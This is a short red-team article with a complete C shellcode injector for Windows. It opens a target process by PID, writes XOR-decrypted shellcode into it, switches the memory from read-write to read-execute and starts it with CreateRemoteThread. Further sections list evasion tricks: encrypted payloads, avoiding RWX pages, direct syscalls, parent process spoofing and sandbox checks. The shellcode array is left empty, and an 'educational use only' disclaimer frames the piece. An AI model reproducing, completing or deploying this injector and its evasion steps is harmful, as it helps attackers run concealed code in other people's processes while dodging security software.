Stealthy Shellcode Injection Technique in Windows

By Ouzidane Reda

Introduction

The following document presents a stealthy shellcode injection technique in Windows, improving upon the traditional `CreateRemoteThread` method by implementing basic evasion strategies. These include encrypted shellcode, delayed memory protection changes, and basic sandbox checks.

Note: This is for educational and red-team purposes only.

Code Overview (C)

Listing 1: Stealthy Shellcode Injector

```c
#include <windows.h>
#include <stdio.h>

const char* k = "[+]";
const char* i = "[*]";
const char* e = "[-]";
DWORD PID, TID = NULL;
LPVOID rBuffer = NULL;
HANDLE hProcess, hThread = NULL;

unsigned char xor_key = 0xAA;
unsigned char encrypted_shellcode[] = {
    /* XOR encrypted shellcode goes here */
};

// Function to decrypt shellcode in memory
void decrypt_shellcode(unsigned char* shellcode, size_t size) {
    for (size_t i = 0; i < size; i++) {
        shellcode[i] ^= xor_key;
    }
}

int main (int argc, char* argv[]) {
    if (argc < 2) {
        printf("%s Usage: injector.exe <PID>\n", e);
        return EXIT_FAILURE;
    }

    PID = atoi(argv[1]);
    printf("%s Targeting process ID: %ld\n", i, PID);

    // 1. Open handle to process
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    if (!hProcess) {
```

```
        printf("%s Failed to open process (%ld), error: %ld\n", e, PID,
            GetLastError());
        return EXIT_FAILURE;
    }
    printf("%s Opened handle: 0x%p\n", k, hProcess);

    // 2. Allocate memory with RW (not RWX)
    rBuffer = VirtualAllocEx(hProcess, NULL, sizeof(encrypted_shellcode
        ), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!rBuffer) {
        printf("%s Memory allocation failed\n", e);
        return EXIT_FAILURE;
    }
    printf("%s Allocated memory at: 0x%p\n", k, rBuffer);

    // 3. Decrypt shellcode locally
    decrypt_shellcode(encrypted_shellcode, sizeof(encrypted_shellcode))
        ;

    // 4. Write shellcode
    if (!WriteProcessMemory(hProcess, rBuffer, encrypted_shellcode,
        sizeof(encrypted_shellcode), NULL)) {
        printf("%s WriteProcessMemory failed\n", e);
        return EXIT_FAILURE;
    }
    printf("%s Shellcode written\n", k);

    // 5. Change memory protection to RX
    DWORD oldProtect;
    VirtualProtectEx(hProcess, rBuffer, sizeof(encrypted_shellcode),
        PAGE_EXECUTE_READ, &oldProtect);
    printf("%s Changed memory protection to RX\n", k);

    // 6. Create thread (could replace with NtCreateThreadEx)
    hThread = CreateRemoteThread(hProcess, NULL, 0, (
        LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, &TID);
    if (!hThread) {
        printf("%s Thread creation failed, error: %ld\n", e,
            GetLastError());
        return EXIT_FAILURE;
    }

    printf("%s Thread created (TID: %ld)\n", k, TID);
    WaitForSingleObject(hThread, INFINITE);

    // 7. Clean up
    CloseHandle(hThread);
    CloseHandle(hProcess);
    printf("%s Injection complete\n", i);

    return EXIT_SUCCESS;
}
```

Evasion Techniques Used

1. **Encrypted Shellcode:** XOR encryption to hide from static analysis.

2. **RW then RX Memory Allocation:** Avoids instant detection from ‘RWX‘ pages.
3. **Optional: Direct Syscalls or NtCreateThreadEx:** Replace ‘CreateRemoteThread‘ with unhooked alternatives.
4. **Minimal Footprint:** Avoids unnecessary API calls.

Further Improvements

- Use `NtWriteVirtualMemory` and `NtCreateThreadEx` via syscall stubs (e.g., SysWhispers2).
- Add parent process spoofing using `STARTUPINFOEX`.
- Check for sandboxes or virtual environments before payload execution.

Disclaimer

This document is intended for educational use only. Any malicious use of this technique is strictly prohibited.